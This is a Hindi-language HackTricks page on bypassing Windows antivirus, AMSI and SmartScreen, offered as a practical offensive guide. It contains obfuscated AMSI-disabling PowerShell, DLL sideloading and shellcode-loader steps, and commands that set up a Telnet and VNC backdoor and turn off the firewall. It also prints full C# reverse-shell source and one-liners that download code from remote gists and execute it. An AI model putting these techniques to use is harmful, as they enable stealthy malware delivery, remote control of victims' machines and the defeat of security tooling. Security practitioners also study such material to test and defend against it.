hacktricks/windows-hardening/av-bypass.md

55 KiB

एंटीवायरस (AV) बायपास

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

इस पेज को लिखा गया था @m2rc_p!

AV ईवेशन मेथडोलॉजी

वर्तमान में, AVs एक फ़ाइल को क्या यह हानिकारक है या नहीं यह जांचने के लिए विभिन्न तरीके का उपयोग करते हैं, स्थैतिक पहचान, गतिशील विश्लेषण, और उनके लिए अधिक उन्नत EDRs के लिए, व्यवहारिक विश्लेषण।

स्थैतिक पहचान

स्थैतिक पहचान को एक बाइनरी या स्क्रिप्ट में ज्ञात हानिकारक स्ट्रिंग या बाइट के गुणकों को झंडा दिखाकर प्राप्त किया जाता है, और भी फ़ाइल से जानकारी निकाली जाती है (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्होंने संशोधित और हानिकारक के रूप में झंडा दिया होगा। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:

  • एन्क्रिप्शन

यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको किसी प्रकार का लोडर चाहिए होगा जो प्रोग्राम को डिक्रिप्ट और मेमोरी में चलाने के लिए होगा।

  • अवशेषण

कभी-कभी आपको अवशेषण करने के लिए अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह किसी भी चीज को अवशोषित करने के लिए कितना समय लगेगा इस पर निर्भर करता है।

  • कस्टम टूलिंग

यदि आप अपने खुद के उपकरण विकसित करते हैं, तो कोई जाने वाला बुरा हस्ताक्षर नहीं होगा, लेकिन इसमें बहुत समय और प्रयास लगेगा।

{% hint style="info" %} Windows Defender स्थैतिक पहचान के खिलाफ जांच के लिए ThreatCheck एक अच्छा तरीका है। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर Defender को प्रत्येक एक को अलग-अलग स्कैन करने के लिए कार्यवाही करता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में झंडा दिखाए गए स्ट्रिंग्स या बाइट क्या हैं। {% endhint %}

मैं आपको इस YouTube प्लेलिस्ट की जांच करने की अत्यधिक सिफारिश करता हूं जो व्यावहारिक AV ईवेशन के बारे में है।

गतिशील विश्लेषण

गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और हानिकारक गतिविधि के लिए देखता है (जैसे आपके ब्राउज़र के पासवर्ड डिक्रिप्ट और पढ़ने की कोशिश, LSASS पर मिनीडंप करने की कोशिश, आदि)। यह भाग काम करने में थोड़ा जटिल हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।

  • अभिनय से पहले सोना जैसे ही यह कार्यान्वयन किया जाता है, यह AV के गतिशील विश्लेषण को छलने का एक बड़ा तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के काम को बाधित न करें, इसलिए लंबी नींद का उपयोग करना बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV सैंडबॉक्स इसे छोड़ सकते हैं जैसे ही यह कार्यान्वित होता है।
  • मशीन के संसाधनों की जांच सामान्यत: सैंडबॉक्स के पास काम करने के लिए बहुत ही कम संसाधन होते हैं (जैसे < 2GB रैम), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक हो सकते हैं, उदाहरण के लिए CPU का तापमान या फिर फैन की गति की जांच करके, सैंडबॉक्स में सभी चीजें लागू नहीं होंगी।
  • मशीन-विशेष जांच यदि आप उस उपयोगकर्ता को लक्ष्य बनाना चाहते हैं जिसका कार्यस्थल "contoso.local" डोमेन से जुड़ा हो, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह आपके द्वारा निर्दिष्ट किया गया है, यदि नहीं, तो आप अपने कार्यक्रम को बंद कर सकते हैं।

यह पता चलता है कि माइक्रोसॉफ्ट डिफेंडर की सैंडबॉक्स कंप्यूटरनाम HAL9TH है, इसलिए, आप अपने मैलवेयर में कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप डिफेंडर की सैंडबॉक्स के अंदर हैं, इसलिए आप अपने कार्यक्रम को बंद कर सकते हैं।

स्रोत: https://youtu.be/StSLxFbVz0M?t=1439

कुछ अन्य वास्तव में अच्छे सुझाव @mgeeky से सैंडबॉक्स के खिलाफ जाने के लिए

Red Team VX Discord #malware-dev चैनल

जैसा कि हमने इस पोस्ट में पहले कहा है, **

DLL साइडलोडिंग और प्रॉक्सीइंग

DLL साइडलोडिंग विक्टिम एप्लिकेशन और हानिकारक पेलोड(जी) को एक साथ रखकर लोडर द्वारा उपयोग किए जाने वाले DLL खोज क्रम का लाभ उठाता है।

आप Siofra और निम्नलिखित पावरशेल स्क्रिप्ट का उपयोग करके DLL साइडलोडिंग के लिए संकटग्रस्त कार्यक्रमों की जांच कर सकते हैं:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

यह कमांड "C:\Program Files\" के अंदर DLL हाइजैकिंग के लिए संवेदनशील कार्यक्रमों की सूची और वे DLL फ़ाइलें उत्पन्न करेगी जिन्हें वे लोड करने का प्रयास करते हैं।

मैं आपको स्वयं DLL हाइजैक करने योग्य/साइडलोड कार्यक्रमों का अन्वेषण करने की सलाह देता हूं, यह तकनीक सही ढंग से किया जाए तो काफी गुप्त रहती है, लेकिन यदि आप सार्वजनिक रूप से जाने जाने वाले DLL साइडलोड कार्यक्रमों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।

किसी भी दुरुपयोगी DLL को एक ऐसे नाम के साथ रखकर जिस नाम का कोई कार्यक्रम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि कार्यक्रम उस DLL के अंदर कुछ विशिष्ट कार्यों की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे DLL प्रॉक्सीइंग/फॉरवर्डिंग कहा जाता है।

DLL प्रॉक्सीइंग कार्यक्रम द्वारा प्रॉक्सी (और दुरुपयोगी) DLL से मूल DLL तक के कॉल को आगे भेजता है, इस प्रकार कार्यक्रम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड का निष्पादन संभालने में सक्षम होता है।

मैं @flangvik के SharpDLLProxy परियोजना का उपयोग करूंगा।

निम्नलिखित कदम मैंने अपनाए:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

आखिरी कमांड हमें 2 फ़ाइलें देगी: एक DLL स्रोत कोड टेम्पलेट, और मूलनाम बदली हुई DLL।

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

ये परिणाम हैं:

हमारे शेलकोड (जिसे SGN के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का antiscan.me में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।

{% hint style="info" %} मैं ऊचा सिफारिश करता हूं कि आप S3cur3Th1sSh1t के twitch VOD को DLL साइडलोडिंग और ippsec के वीडियो को देखें और हमने जो विस्तार से चर्चा की है, उसके बारे में अधिक जानें। {% endhint %}

Freeze

Freeze एक पेडलोड टूलकिट है जो सस्पेंडेड प्रोसेसेस, डायरेक्ट सिसकॉल्स, और वैकल्पिक निष्पादन विधियों का उपयोग करके EDRs को छलाने के लिए है

आप Freeze का उपयोग करके अपने शेलकोड को एक छलकर तरीके से लोड और निष्पादित कर सकते हैं।

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है, वह कल पकड़ा जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई टालने की तकनीकों को जोड़ने का प्रयास करें। {% endhint %}

AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)

AMSI को "फाइललेस मैलवेयर" को रोकने के लिए बनाया गया था। पहले, AVs केवल डिस्क पर फ़ाइलें स्कैन करने में सक्षम थे, इसलिए यदि आप किसी प्रकार से payloads सीधे मेमोरी में निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।

AMSI सुविधा विंडोज के इन घटकों में एकीकृत है।

  • उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उच्चाधिकार)
  • पावरशेल (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
  • विंडोज स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
  • जावास्क्रिप्ट और वीबीस्क्रिप्ट
  • ऑफिस VBA मैक्रो

यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है जिसे एक ऐसे रूप में उजागर किया गया है जो अनक्रिप्टेड और अविकृत है।

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') चलाने पर विंडोज डिफेंडर पर निम्नलिखित चेतावनी प्रकट होगी।

ध्यान दें कि यह amsi: को पहले जोड़ता है और फिर एक्जीक्यूटेबल का पथ, जिससे स्क्रिप्ट चलाया गया, इस मामले में, पावरशेल.exe

हमने किसी भी फ़ाइल को डिस्क पर नहीं छोड़ा, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़ गए।

AMSI को चक्कर में लेने के कुछ तरीके हैं:

  • अवशोषण

क्योंकि AMSI मुख्य रूप से स्थैतिक पकड़ों के साथ काम करता है, इसलिए आप लोड करने की कोशिश की गई स्क्रिप्टों को संशोधित करना डिटेक्शन से बचने का एक अच्छा तरीका हो सकता है।

हालांकि, AMSI के पास यदि यह कई लेयर्स हो तो भी स्क्रिप्टों को अनऑब्स्केट करने की क्षमता है, तो अवशोषण किया जा सकता है, यह न करने के लिए एक बुरा विकल्प हो सकता है। यह इसे टालना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको कुछ चरणों के नाम बदलने की आवश्यकता होती है और आप अच्छे हो जाएंगे, इसलिए यह उस पर कितना झंझट है इस पर निर्भर करता है।

  • AMSI बाइपास

क्योंकि AMSI को पावरशेल (जैसे cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसे आसानी से भ्रमित किया जा सकता है भले ही एक अनधिकृत उपयोगकर्ता के रूप में चल रहा हो। इस AMSI के कार्यान्वयन में दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।

त्रुटि को बल प्रदान करना

AMSI प्रारंभीकरण को विफल करने (amsiInitFailed) के लिए मजबूर करना इस नतीजे में लाएगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। मूल रूप से इसे मैट ग्रेबर ने खुलासा किया था और माइक्रोसॉफ्ट ने इसका व्यापक उपयोग रोकने के लिए एक हस्ताक्षर विकसित किया है।

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

केवल एक पंक्ति पावरशेल कोड की आवश्यकता थी ताकि वर्तमान पावरशेल प्रक्रिया के लिए AMSI अप्रयोग्य हो जाए। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।

यहाँ एक संशोधित AMSI बाईपास है जिसे मैंने इस Github Gist से लिया है।

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

मेमोरी पैचिंग

यह तकनीक पहले से ही @RastaMouse द्वारा खोजी गई थी और इसमें "AmsiScanBuffer" फ़ंक्शन के पते को खोजना होता है जो amsi.dll में होता है (उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को स्कैन करने के लिए जिम्मेदार है) और इसे इंस्ट्रक्शन के साथ ओवरराइट करना होता है ताकि यह वास्तविक स्कैन का परिणाम 0 लौटाए, जो साफ परिणाम के रूप में व्याख्या किया जाता है।

{% hint style="info" %} कृपया अधिक विस्तृत व्याख्या के लिए https://rastamouse.me/memory-patching-amsi-bypass/ पढ़ें। {% endhint %}

AMSI को बायपास करने के लिए पावरशेल के साथ कई अन्य तकनीकें भी हैं, इस पेज और इस रेपो की जांच करें और उनके बारे में और अधिक जानें।

या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से पावरशेल को पैच करेगा

अवगुणन

कई उपकरण हैं जो क्लियर-टेक्स्ट को अवगुणित करने, मेटाप्रोग्रामिंग टेम्पलेट्स जेनरेट करने या कंपाइल बाइनरी को अवगुणित करने के लिए उपयोग किए जा सकते हैं जैसे:

  • InvisibilityCloak: C# अवगुणक
  • Obfuscator-LLVM: इस परियोजना का उद्देश्य LLVM कंपाइलेशन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो कोड अवगुणन और टैम्पर-प्रूफिंग के माध्यम से वृद्धि देने में सक्षम हो।
  • ADVobfuscator: ADVobfuscator दिखाता है कि C++11/14 भाषा का उपयोग करके कैसे कंपाइल समय पर बिना किसी बाह्य उपकरण का उपयोग किए और कंपाइलर को संशोधित किए बिना अवगुणित कोड उत्पन्न किया जा सकता है।
  • obfy: C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न अवगुणित ऑपरेशन की एक परत जोड़ें जो अनुप्रयोग को क्रैक करने वाले व्यक्ति के जीवन को थोड़ा सा कठिन बना देगी।
  • Alcatraz: Alcatraz एक x64 बाइनरी अवगुणक है जो विभिन्न पीई फ़ाइलों को अवगुणित करने में सक्षम है: .exe, .dll, .sys
  • metame: Metame एक अर्बिट्रेरी एक्जीक्यूटेबल्स के लिए एक सरल मेटामॉर्फिक कोड इंजन है।
  • ropfuscator: ROPfuscator एक फाइन-ग्रेन्ड कोड अवगुणन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM समर्थित भाषाओं के लिए एक प्रोग्राम को अवगुणित करता है। ROPfuscator एक प्रोग्राम को नियंत्रण की सामान्य धारणा को बदलकर एसेम्बली कोड स्तर पर अवगुणित करता है, जिससे हमारी साहज नियंत्रण प्रवाह की धारणा को ठगा जाता है।
  • Nimcrypt: Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
  • inceptor: Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है

स्मार्टस्क्रीन और MoTW

आपने शायद इंटरनेट से कुछ एक्जीक्यूटेबल डाउनलोड करके उन्हें चलाने के समय इस स्क्रीन को देखा होगा।

माइक्रोसॉफ्ट डिफेंडर स्मार्टस्क्रीन एक सुरक्षा तंत्र है जो अंत उपयोगकर्ता को पोटेंशियली हानिकारक एप्लिकेशन चलाने से बचाने के लिए निर्मित है।

स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे जिससे अंत उपयोगकर्ता को फ़ाइल को चलाने से रोका जाएगा (हालांकि फ़ाइल को फिर भी चलाया जा सकता है जरूरी जानकारी -> फिर भी चलाएं पर क्लिक करके)।

MoTW (Mark of The Web) एक NTFS वैकल्पिक डेटा स्ट्रीम है जिसका नाम Zone.Identifier है जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे यह डाउनलोड किया गया था।

इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच।

{% hint style="info" %} यह महत्वपूर्ण है कि विश्वसनीय हस्ताक्षर सर्टिफिकेट के साथ साइन की गई एक्जीक्यूटेबल्स स्मार्टस्क्रीन को ट्रिगर नहीं करेंगी। {% endhint %}

अपने पेलोड को Mark of The Web से बचाने के लिए एक प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर के अंदर पैकेज करना है जैसे कि एक ISO। यह इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) non NTFS वॉल्यूम पर लागू नहीं किया जा सकता है।

PackMyPayload एक उपकरण है जो पेलोड को मार्क ऑफ द वेब से बचाने के लिए आउटपुट कंटेनर में पैकेज करता है।

उदाहरण उपयोग:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

यहाँ एक डेमो है जिसमें PackMyPayload का उपयोग करके ISO फ़ाइलों में payloads को SmartScreen को बायपास करने का तरीका दिखाया गया है।

C# Assembly Reflection

मेमोरी में C# बाइनरीज़ लोड करना काफी समय से जाना जा रहा है और यह एंटीवायरस द्वारा पकड़े जाने के बिना अपने पोस्ट-एक्सप्लोइटेशन टूल्स को चलाने का एक बहुत अच्छा तरीका है।

C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) मेमोरी में C# असेम्ब्लीज़ को सीधे एक्सीक्यूट करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:

  • Fork&Run

इसमें एक नया बलिदानी प्रक्रिया उत्पन्न करना शामिल है, नई प्रक्रिया में अपने पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को इंजेक्ट करना, उस नई प्रक्रिया को चलाना और समाप्त होने पर, नई प्रक्रिया को मार देना। इसके फायदे और नुकसान दोनों हैं। फोर्क और रन विधि का लाभ यह है कि निष्क्रिय अंकुर इम्प्लांट प्रक्रिया के बाहर निष्क्रिय होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लोइटेशन कार्रवाई में कुछ गलत हो जाता है या पकड़ जाता है, तो हमारे इम्प्लांट के जीवित रहने की अधिक संभावना है। नुकसान यह है कि आपको व्यवहारिक पहचान द्वारा पकड़ने की अधिक संभावना है।

  • Inline

इसका मतलब है पोस्ट-एक्सप्लोइटेशन दुरुपयोगी कोड को अपनी खुद की प्रक्रिया में इंजेक्ट करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और उसे एंटीवायरस द्वारा स्कैन करवाने से बचने में मदद मिलती है, लेकिन नुकसान यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की अधिक संभावना है क्योंकि यह क्रैश हो सकता है।

{% hint style="info" %} यदि आप C# Assembly लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ और उनके InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) की जांच करें। {% endhint %}

आप C# Assemblies PowerShell से भी लोड कर सकते हैं, Invoke-SharpLoader और S3cur3th1sSh1t's video देखें।

अन्य प्रोग्रामिंग भाषाओं का उपयोग

https://github.com/deeexcee-io/LOI-Bins में प्रस्तावित है कि अटैकर नियंत्रित SMB साझा परिवार पर स्थापित अनुप्रयोगी वातावरण का उपयोग करके दुरुपयोगी कोड को अन्य भाषाओं में चलाना संभव है।

अंतर्वार्ती बाइनरीज़ और अटैकर नियंत्रित मशीन की मेमोरी में इन भाषाओं में विचारहीन कोड को अंजाम देने की अनुमति देने से आप अपने बीमित मशीन की मेमोरी में विचारहीन कोड को अंजाम दे सकते हैं

रेपो इसका सुझाव देता है: डिफेंडर अब भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें स्थिर हस्ताक्षरों को बायपास करने की अधिकता होती है। इन भाषाओं में अनोभ्फस्केटेड रिवर्स शैल वाले स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।

उन्नत टालना

टालना एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न टेलीमेट्री स्रोतों को ध्यान में रखना पड़ता है, इसलिए पूरी तरह से परिपक्व वातावरण में पूरी तरह से अनप्रकट रहना लगभग असंभव है।

जिस भी वातावरण के खिलाफ आप जाते हैं, उसके अपने शक्तियों और कमजोरियों होते हैं।

मैं आपको उन्नत टालन तकनीकों के बारे में जानने के लिए इस टॉक को देखने की ऊर्जा देता हूँ @ATTL4S से।

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

यह एक और शानदार टॉक है @mariuszbit के द्वारा टालने के बारे में।

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

पुरानी तकनीकें

जांचें कि Defender किस हिस्से को दुरुपयोगी मानता है

आप ThreatCheck का उपयोग कर सकते हैं जो बाइनरी के हिस्से को हटा देगा जब तक वह यह नहीं पता लगाता है कि Defender किस हिस्से को दुरुपयोगी मान रहा है और इसे आपको विभाजित कर देगा।
एक और उपकरण जो एक ही चीज कर रहा है है avred जिसके एक ओपन वेब सेवा में सेवा प्रदान कर रहा है https://avred.r00ted.ch/

टेलनेट सर्वर

Windows10 तक, सभी Windows के साथ एक टेलनेट सर्वर आता था जिसे आप (व्यवस्थापक के रूप में) इंस्टॉल कर सकते थे:

pkgmgr /iu:"TelnetServer" /quiet

इसे शुरू करें जब सिस्टम शुरू होता है और अब इसे चलाएं:

sc config TlntSVR start= auto obj= localsystem

टेलनेट पोर्ट बदलें (छल) और फ़ायरवॉल अक्षम करें:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

इसे यहाँ से डाउनलोड करें: http://www.uvnc.com/downloads/ultravnc.html (आपको सेटअप नहीं, बिन डाउनलोड करना है)

मेज़बान पर: winvnc.exe को चलाएं और सर्वर को कॉन्फ़िगर करें:

  • TrayIcon को अक्षम करें
  • VNC Password में पासवर्ड सेट करें
  • View-Only Password में पासवर्ड सेट करें

फिर, बाइनरी winvnc.exe और नया बनाया गया फ़ाइल UltraVNC.ini को विक्टिम के अंदर ले जाएं

रिवर्स कनेक्शन

हमलावर को अपने होस्ट के अंदर बाइनरी vncviewer.exe -listen 5900 को चलाना चाहिए ताकि वह एक रिवर्स VNC कनेक्शन को पकड़ने के लिए तैयार हो जाए। फिर, विक्टिम के अंदर: winvnc डेमन चलाएं winvnc.exe -run और winwnc.exe [-autoreconnect] -connect <हमलावर_ip>::5900

चेतावनी: गुप्तचरता बनाए रखने के लिए आपको कुछ चीज़ें नहीं करनी चाहिए

  • अगर यह पहले से चल रहा है, तो winvnc न चलाएं या आप एक पॉपअप को ट्रिगर कर देंगे। tasklist | findstr winvnc के साथ चल रहा है या नहीं यह जांचें
  • UltraVNC.ini के बिना winvnc न चलाएं या यह कॉन्फ़िग विंडो खोल देगा
  • मदद के लिए winvnc -h न चलाएं या आप एक पॉपअप को ट्रिगर कर देंगे

GreatSCT

इसे यहाँ से डाउनलोड करें: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

GreatSCT के अंदर:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

अब लिस्टनर को शुरू करें msfconsole -r file.rc और एक्सीक्यूट करें एक्सएमएल पेलोड के साथ:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

वर्तमान रक्षक प्रक्रिया को बहुत तेजी से समाप्त कर देगा।

हमारी खुद की रिवर्स शैल को कंपाइल करना

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

पहला सी# रिवर्सशैल

इसे इस प्रकार कंपाइल करें:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Use it with:
इसका उपयोग करें:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# का उपयोग करके कंपाइलर

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

स्वचालित डाउनलोड और क्रियान्वयन:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator

C++

सी++

sudo apt-get install mingw-w64

